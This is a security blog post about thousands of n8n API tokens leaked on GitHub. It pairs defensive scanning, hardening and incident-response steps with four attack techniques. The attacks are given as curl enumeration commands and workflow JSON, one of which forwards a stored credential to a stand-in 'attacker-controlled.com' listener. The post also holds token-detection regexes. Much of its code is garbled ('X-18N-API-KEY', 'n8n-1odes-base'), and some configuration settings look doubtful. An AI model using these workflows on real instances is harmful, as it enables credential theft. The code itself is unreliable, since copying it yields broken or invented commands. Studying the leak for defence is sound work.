Listen to this Post
Introduction
A staggering 4,576 unique n8n API tokens were discovered exposed in public GitHub commits, with 321 live instances (36% of reachable systems) still accepting these leaked credentials as of August 2026. This isn’t a vulnerability that requires sophisticated exploitation – it’s a credential hygiene failure at scale, where attackers can simply log in with keys accidentally posted by developers. With n8n serving as the connective tissue between databases, AI services, cloud environments, and customer data platforms, a single compromised token can expose an organization’s entire automation ecosystem.
Learning Objectives
- Understand the scope and mechanics of the n8n API token leak, including why tokens remain valid indefinitely
- Master the four attack techniques that transform a leaked token into full credential exfiltration
- Implement practical detection, revocation, and hardening measures across Linux, Windows, and n8n configurations
You Should Know
- Why n8n API Tokens Are a Ticking Time Bomb
An n8n API key is a signed JSON Web Token (JWT) with an `”aud”: “public-api”` audience claim. The critical flaw: older n8n API keys frequently contain no `exp` (expiration) claim. While n8n introduced a 30-day default expiration in version 1.78.0 (February 2025), many tokens discovered in this research were generated without any expiration date. A key committed to GitHub months earlier remains usable until explicitly deleted or revoked.
The exposure surface extends beyond REST API tokens. Researchers also identified 372 n8n Model Context Protocol (MCP) API keys – used by AI assistants to call n8n workflows – with seven still valid at testing time. Additionally, Claude Code permission files (.claude/settings.json) were found storing both instance URLs and API keys directly inside approved curl commands.
How to check if your n8n instance has the public API exposed:
Linux/macOS - Test if public API is enabled curl -I https://your-18n-instance.com/api/v1/workflows If you see 200 OK, the API is accessible If you see 404 Not Found, the public API is disabled (good) If you see 401 Unauthorized, API is enabled but requires authentication
Windows (PowerShell):
Invoke-WebRequest -Uri "https://your-18n-instance.com/api/v1/workflows" -Method Head
Check your n8n version for expiration support:
Linux/macOS curl -s https://your-18n-instance.com/healthz | grep version Or check via API curl -s https://your-18n-instance.com/api/v1/versions
If your instance runs n8n < 1.78.0, your API tokens have no default expiration.
Step-by-step: Rotate all API tokens immediately
- Log into your n8n instance as an owner/administrator
- Navigate to Settings → API (or use the API directly)
3. Generate new API tokens for all users
4. Revoke all existing tokens
- Update all CI/CD pipelines, scripts, and integrations with new tokens
- Verify that old tokens no longer authenticate: `curl -H “X-18N-API-KEY: OLD_TOKEN” https://instance/api/v1/workflows` should return 401
-
The Four Attack Techniques: From Leaked Token to Full Compromise
GitGuardian’s controlled demonstration revealed four practical attack techniques that require no CVE exploitation or specialized tooling – only documented REST API functionality and standard HTTP requests.
Technique 1: Passive Enumeration
With a valid token, an attacker can immediately enumerate:
List all users (emails, account creation dates) curl -H "X-18N-API-KEY: LEAKED_TOKEN" \ https://instance/api/v1/users List all workflow definitions (includes node configs, code, hard-coded secrets) curl -H "X-18N-API-KEY: LEAKED_TOKEN" \ https://instance/api/v1/workflows List credential names and types curl -H "X-18N-API-KEY: LEAKED_TOKEN" \ https://instance/api/v1/credentials Retrieve execution history with full payloads curl -H "X-18N-API-KEY: LEAKED_TOKEN" \ https://instance/api/v1/executions?includeData=true Get security audit report (version, CVEs, unused credentials) curl -H "X-18N-API-KEY: LEAKED_TOKEN" \ https://instance/api/v1/audit
This first technique requires no workflow modification – the exposed information is already available through read operations permitted to the authenticated account.
Technique 2: Using Stored Credentials Without Viewing Them
Even though `/api/v1/credentials` does not return stored secret values, an attacker can create a workflow that uses a stored credential:
{
"name": "OpenAI Exfiltration",
"nodes": [
{
"name": "Schedule Trigger",
"type": "n8n-1odes-base.scheduleTrigger",
"parameters": {"rule": {"interval": [{"seconds": 10}]}}
},
{
"name": "OpenAI",
"type": "n8n-1odes-base.openAi",
"parameters": {
"credentialId": "STORED_OPENAI_CREDENTIAL_ID",
"model": "gpt-4",
"messages": [{"role": "user", "content": "List all data"}]
}
}
]
}
The attacker then retrieves the execution record with `includeData=true` to see the plaintext OpenAI response.
Technique 3: Data Table Exfiltration
Same approach, targeting data tables:
{
"name": "Data Table Exfil",
"nodes": [
{"name": "Schedule Trigger", "type": "n8n-1odes-base.scheduleTrigger"},
{"name": "Data Table", "type": "n8n-1odes-base.dataTable",
"parameters": {"operation": "getAll", "tableId": "TARGET_TABLE"}}
]
}
`GET /api/v1/executions?includeData=true` returns every row in plaintext seconds later.
Technique 4: Raw Credential Extraction
The most dangerous technique: force n8n to transmit a stored credential to an attacker-controlled endpoint:
{
"name": "Credential Extraction",
"nodes": [
{"name": "Schedule Trigger", "type": "n8n-1odes-base.scheduleTrigger"},
{
"name": "HTTP Request",
"type": "n8n-1odes-base.httpRequest",
"parameters": {
"method": "GET",
"url": "https://attacker-controlled.com/capture",
"authentication": "genericCredentialType",
"credentialId": "STORED_OPENAI_CREDENTIAL_ID"
}
}
]
}
When the workflow fires, n8n attaches the credential value as a Bearer token in the outgoing `Authorization` header. The attacker’s listener captures the raw API key seconds after activation.
Critical observation: Deleting the malicious workflow also removes associated execution records from the interface, potentially leaving defenders with limited evidence.
3. Detection: Finding Exposed Tokens in Your Codebase
Linux/macOS – Scan for n8n API tokens in Git history:
Search all commits for n8n API key patterns
git log -p | grep -E "n8n_api_key=|X-18N-API-KEY|apiKey.n8n" --context=3
Use truffleHog for deep scanning
docker run -it --rm trufflesecurity/trufflehog:latest \
github --repo https://github.com/your-org/your-repo \
--regex -e "n8n_api_key_[a-zA-Z0-9]{32,}"
Search for n8n hostnames alongside tokens
grep -r -E "https?://[a-zA-Z0-9.-]+.n8n|n8n.cloud" --include=".json" --include=".env" --include=".js"
Windows (PowerShell) – Search for exposed patterns:
Search files for n8n API key patterns
Get-ChildItem -Recurse -Include .json, .env, .js, .yaml |
Select-String -Pattern "n8n_api_key_[a-zA-Z0-9]{32,}|X-18N-API-KEY"
Search Git history
git log -p | Select-String -Pattern "n8n_api_key=|X-18N-API-KEY" -Context 3
Use GitGuardian’s public monitoring – the company’s Good Samaritan disclosure program already identifies exposed n8n API tokens and notifies affected developers. The detector has been updated for improved accuracy.
GitHub Advanced Security – Secret Scanning:
- Navigate to Settings → Code security and analysis
2. Enable Secret scanning for your repository
3. Add custom patterns for n8n API tokens:
- Pattern: `n8n_api_key_[a-zA-Z0-9]{32,}`
– Pattern: `X-18N-API-KEY:\s[a-zA-Z0-9_-]+`
4. Hardening n8n: Production-Grade Security Controls
Disable the public API if not in use:
In your n8n environment configuration export N8N_PUBLIC_API_ENABLED=false Or in docker-compose.yml environment: - N8N_PUBLIC_API_ENABLED=false
Set a persistent encryption key – n8n generates a new key automatically by default, which is not suitable for production:
Generate a strong encryption key (32+ bytes) openssl rand -base64 32 Set in environment export N8N_ENCRYPTION_KEY="your-generated-key" Store in a secure vault, NOT in .env files committed to Git
Enforce API token expiration – upgrade to n8n ≥ 1.78.0 for 30-day default expiration, or configure custom expiration:
n8n configuration (version ≥ 1.78.0) export N8N_API_TOKEN_EXPIRATION_DAYS=30
Run n8n as non-root user:
In Docker docker run --user 65532:65532 n8nio/n8n Or in docker-compose services: n8n: image: n8nio/n8n user: "65532:65532"
Configure task runners to run as the unprivileged `nobody` user with user and group ID 65532 to limit damage from vulnerabilities.
Use external runner mode to limit blast radius:
export N8N_RUNNERS_MODE=external
Network-level hardening:
- Place n8n behind an API Gateway + WAF that validates JWT, applies rate limits, and performs basic inspection before routing to n8n
- Restrict access to trusted IP ranges using firewall rules
- Enable SSL/TLS for all connections
Linux iptables example – restrict n8n access:
Allow only specific IP ranges iptables -A INPUT -p tcp --dport 5678 -s 192.168.1.0/24 -j ACCEPT iptables -A INPUT -p tcp --dport 5678 -j DROP
- Incident Response: What to Do If Your Token Was Leaked
Step 1: Immediate Revocation
Revoke all API tokens for a specific user (via API)
curl -X DELETE \
-H "X-18N-API-KEY: ADMIN_TOKEN" \
https://instance/api/v1/users/{userId}/api-keys
Or via UI: Settings → API → Revoke All Tokens
Step 2: Determine Blast Radius
Review which workflows, data, and downstream credentials the compromised account could access:
Audit all workflows the account could see
curl -H "X-18N-API-KEY: ADMIN_TOKEN" \
https://instance/api/v1/workflows | jq '.[] | {id, name, active}'
Check execution history for unauthorized runs
curl -H "X-18N-API-KEY: ADMIN_TOKEN" \
https://instance/api/v1/executions?limit=100 | jq '.data[] | {id, workflowName, status, startedAt}'
Step 3: Rotate Downstream Credentials
Any credential that could have been accessed or used must be rotated:
– OpenAI API keys
– Database passwords
– Cloud provider tokens (AWS, GCP, Azure)
– OAuth tokens for connected services
– SSH deployment keys
Step 4: Investigate for Unauthorized Changes
Review workflow modification history
curl -H "X-18N-API-KEY: ADMIN_TOKEN" \
https://instance/api/v1/workflows/{workflowId}/history
Check for new workflows created during the exposure window
curl -H "X-18N-API-KEY: ADMIN_TOKEN" \
https://instance/api/v1/workflows?createdAfter={exposure_date}
Step 5: Enable Audit Logging
n8n configuration export N8N_AUDIT_LOGGING=true export N8N_AUDIT_LOG_FILE=/var/log/n8n/audit.log
Monitor for:
- New workflow creations
- Credential usage patterns
- API token generation events
- User account changes
- The Systemic Problem: Automation Platforms as Attack Vectors
This n8n token leak is not an isolated incident. With more than 100,000 instances visible through Shodan and 50+ security advisories published since January 2026, n8n has attracted the same attention as other high-value integration platforms. As of March 31, 2026, 58% of scanned instances were running a version affected by at least one known security advisory.
Recent CVEs have allowed attackers to escape execution sandboxes and gain arbitrary read/write access to host filesystems. CVE-2025-68613 (CVSS 9.9) was added to the U.S. CISA Known Exploited Vulnerabilities catalog on March 11, 2026, confirming exploitation in the wild.
The blast radius is amplified because n8n sits at the center of organizational integrations – connecting source control, databases, cloud services, AI APIs, support platforms, and customer data.
What Undercode Say:
- Leaked API tokens are not a vulnerability – they are a credential hygiene failure. The fact that 321 instances accepted leaked tokens means organizations are not rotating credentials, not scanning for secrets, and not enforcing expiration policies. This is a process failure, not a code failure.
- Automation platforms create exponentially larger blast radii. A single compromised token in n8n can expose OpenAI keys, database credentials, cloud tokens, and customer data – all because the platform acts as the central nervous system of modern infrastructure. The risk is defined not by the n8n instance alone, but by everything it connects to.
- Responsible disclosure is broken. Of seven organizations contacted, only one responded and remediated promptly. Organizations are either unaware of exposed credentials or unwilling to act. This indifference transforms isolated leaks into systemic threats.
- Defenders must assume tokens are already leaked. The paradigm must shift from “prevent leaks” to “assume compromise and design for resilience.” This means short-lived tokens, continuous secret scanning, least-privilege API keys, and automated revocation workflows.
- The industry needs automated, enforceable credential expiration. n8n’s 30-day default expiration (introduced in v1.78.0) is a step forward, but it’s opt-in for existing deployments and doesn’t address tokens already in the wild. Organizations must proactively rotate and enforce expiration across all automation platforms.
Prediction
- -1: The 321 exposed instances represent only the tip of the iceberg. With 58% of n8n instances running vulnerable versions and automated botnets like NadMesh actively hunting exposed AI services, mass exploitation of leaked tokens and unpatched CVEs is imminent. Expect credential harvesting campaigns targeting n8n instances within 30-60 days.
- -1: Organizations that fail to revoke leaked tokens and rotate downstream credentials will face cascading breaches. A single n8n token can provide access to OpenAI accounts (costing thousands in API usage), cloud infrastructure (leading to data exfiltration), and customer databases (resulting in regulatory fines). The blast radius is measured in dollars, not just data.
- +1: The n8n ecosystem is responding. GitGuardian’s updated detector, n8n’s 1.78.0 expiration feature, and growing awareness of automation platform risks will drive improved security practices. However, the lag between awareness and action will leave thousands of instances exposed for months.
▶️ Related Video (70% Match):
🎯Let’s Practice For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
IT/Security Reporter URL:
Reported By: Leaked N8n – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
